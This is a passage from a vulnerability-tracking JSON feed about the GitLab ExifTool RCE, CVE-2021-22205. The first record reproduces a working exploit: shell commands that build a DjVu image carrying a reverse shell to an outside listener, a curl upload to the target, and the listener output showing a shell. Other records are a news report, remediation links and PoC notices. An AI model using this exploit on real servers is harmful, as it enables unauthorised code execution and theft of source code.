13.9.6, and 13.8.8\n# Tested on: GitLab Community Edition 13.10.2 and 13.10.1 (Ubuntu)\n# CVE : CVE-2021-22205\n# Vendor Advisory: https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/\n# Root Cause Analysis: https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=activityFeed\n\nCode execution is the result of GitLab allowing remote unauthenticated attackers to provide DjVu files to ExifTool (see: CVE-2021-22204). As such, exploitation of GitLab takes two steps. First generating the payload and then sending it.\n\n1. Generating the payload. This generates a DjVu image named lol.jpg that will trigger a reverse shell to 10.0.0.3 port 1270.\n\necho -e\n\"QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs=\"\n| base64 -d > lol.jpg\necho -n 'TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$tf$TF' >> lol.jpg\necho -n\n\"fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg==\"\n| base64 -d >> lol.jpg\n\n2. Sending the payload. Any random endpoint will do.\n\ncurl -v -F 'file=@lol.jpg' http://10.0.0.7/$(openssl rand -hex 8)\n\n2a. Sample Output from the reverse shell:\n\n$ nc -lnvp 1270\nListening on [0.0.0.0] (family 0, port 1270)\nConnection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport\n34836)\nwhoami\ngit\nid\nuid=998(git) gid=998(git) groups=998(git)\n\nSource:packetstormsecurity.com", "url": "https://t.me/hacking_Attack/31748"}, {"timestamp": "2026-09-07T06:00:05.745Z", "date_only": false, "value": "2026-09-07T06:00:05.745175Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/hacking_Attack/30017", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "cfb158d0-dfa4-48c3-bd6c-81c28aca89fa", "content": "Black Hat Ethical Hacking\nOver 30,000 GitLab servers still unpatched against critical bug\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Over 30,000 GitLab servers still unpatched against critical bugPost Views: 115 \nReading Time: 1 Minute\nA critical unauthenticated, remote code execution GitLab flaw fixed on April 14, 2021, remains exploitable, with over 50% of deployments remaining unpatched.\nThe vulnerability is tracked as CVE-2021-22205\u00a0and has a CVSS v3 score of 10.0, allowing an unauthenticated, remote attacker to execute arbitrary commands as the \u2018git\u2019 user (repository admin).\n\nThis vulnerability gives the remote attacker full access to the repository, including deleting, modifying, and stealing source code.\nSee Also: Complete Offensive Security and Ethical Hacking Course Exploitation in the wildHackers first started exploiting internet-facing GitLab servers in June 2021\u00a0to create new users and give them admin rights.\n\nThe actors used a working exploit published on GitHub\u00a0on June 4, 2021, allowing them to abuse the vulnerable ExifTool component.\n\nThe threat actors do not need to authenticate or use a CSRF token or even a valid HTTP endpoint to use the exploit.\n\nWith the exploitation continuing to this day, researchers from Rapid7 decided to look into the number of unpatched systems and determine the scope of the underlying problem.\nSee Also: All Windows versions impacted by new LPE zero-day vulnerability According to a report published by Rapid7, at least 50% of the 60,000 internet-facing GitLab installations they found are not patched against the critical RCE flaw fixed six months ago.\nMoreover, another 29% may or may not be vulnerable, as the analysts couldn\u2019t extract the version string for those servers.\n\nAdmins need to update to one of the following versions to patch the flaw:\n\n* 13.10.3\n* 13.9.6\n* 13.8.8\n\nAny versions earlier than that and down to 11.9 are vulnerable to exploitation whether you\u2019re using GitLab Enterprise Edition (EE) or GitLab Community Edition (CE).\nSee Also: Offensive Security Tool: ZipExec For more details on how to update GitLab, check out this dedicated portal.\n\nTo ensure that your GitLab instance isn\u2019t vulnerable to exploitation, you can check its response to POST requests that attempt to exploit ExifTool\u2019s mishandling of image files.\n\nThe patched versions still allow someone to reach out to ExifTool, but the response to the request should be a rejection\u00a0in the form of an HTTP 404 error.\nSee Also: Hacking stories \u2013 Operation Troy \u2013 How researchers linked the cyberattacks Source: www.bleepingcomputer.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/trojan-source-invisible-vulnerabilities-in-most-code-showcase_image-7-a-17833-90x90.jpg \u2018Trojan Source\u2019 attack method can hide bugs into open-source code1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/ezgif.com-gif-maker-4-90x90.jpg Chaos ransomware targets gamers via fake Minecraft alt lists2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/microsoft-zero-day-vulnerabilities-800x358-1-90x90.png All Windows versions impacted by new LPE zero-day vulnerability5 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/social_preview-scaled-90x90.jpg Sensitive data of 400,000 German students exposed by API flaw6 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/hacked-90x90.jpg Brutal WordPress plugin bug allows subscribers to wipe sites1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/30017"}, {"timestamp": "2026-09-08T08:34:36.952Z", "date_only": false, "value": "2026-09-08T08:34:36.952Z", "kind": "other", "label": "Updated", "source": "bitnami_vulndb \u00b7 BIT-GITLAB-2021-22205", "record": "BIT-GITLAB-2021-22205", "field": "modified"}, {"timestamp": "2026-09-10T11:00:03.901Z", "date_only": false, "value": "2026-09-10T11:00:03.901971Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cissp/5363", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "dfc2abe2-2761-4b22-8f4a-6cbcb8fdb386", "content": "Vulnerability Remediation Resources\nThe table below provides links to remediation sources for the top 10 exploited vulnerabilities\n  CVE-2021-44228\n  https://logging.apache.org/log4j/2.x/security.html\n \n CVE-2021-22005\nhttps://www.vmware.com/security/advisories/VMSA-2021-0020.html\n\n  CVE-2021-34527\n  https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527\n \n  CVE-2021-1675\n  https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675\n  \n   CVE-2021-27065\n   https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065\n   \n CVE-2021-36934\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36934\n  \n  CVE-2021-40444\n  https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40444\n  \nCVE-2021-26855\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855\n \n  CVE-2021-22205\n   https://gitlab.com/gitlab-org/gitlab/-/issues/327121\n  \n  CVE-2021-21551\n https://www.dell.com/support/kbdoc/en-us/000186019/dsa-2021-088-dell-client-platform-security-up-date-for-dell-driver-insufficient-access-control-vulnerability", "url": "https://t.me/cissp/5363"}, {"timestamp": "2026-10-09T07:04:57Z", "date_only": false, "value": "2026-10-09T07:04:57.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/104751", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "65bb2ffb-5358-4196-9a3e-9ae70b701f75", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #GitLab #CVE #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a vulhub-gitlab-cve-2021-22205\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a CyberCTF\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HCL\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-10-09 07:04:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nVulhub gitlab/CVE-2021-22205: GitLab CE 13.10.1 ExifTool unauthenticated RCE, run with Isoloom\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/104751"}, {"timestamp": "2026-10-09T07:04:57Z", "date_only": false, "value": "2026-10-09T07:04:57.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/104751", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "5f1e94a6-7ada-401d-9235-f1ef780d1d7f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #GitLab #CVE #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a vulhub-gitlab-cve-2021-22205\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a CyberCTF\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HCL\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-10-09 07:04:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nVulhub gitlab/CVE-2021-22205: GitLab CE 13.10.1 ExifTool unauthenticated RCE, run with Isoloom\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/104751"}, {"timestamp": "2026-10-12T12:35:19.848Z", "date_only": false, "value": "2026-10-12T12:35:19.848287Z", "kind": "sighting", "label": "Seen", "source": "https://vulnerability.circl.lu/bundle/160355e6-36c4-42a6-a839-70a2c2c3a87e", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "cada155d-de36-4f20-b870-ecc8aaec3bb6", "url": "https://vulnerability.circl.lu/bundle/160355e6-36c4-42a6-a839-70a2c2c3a87e"}]}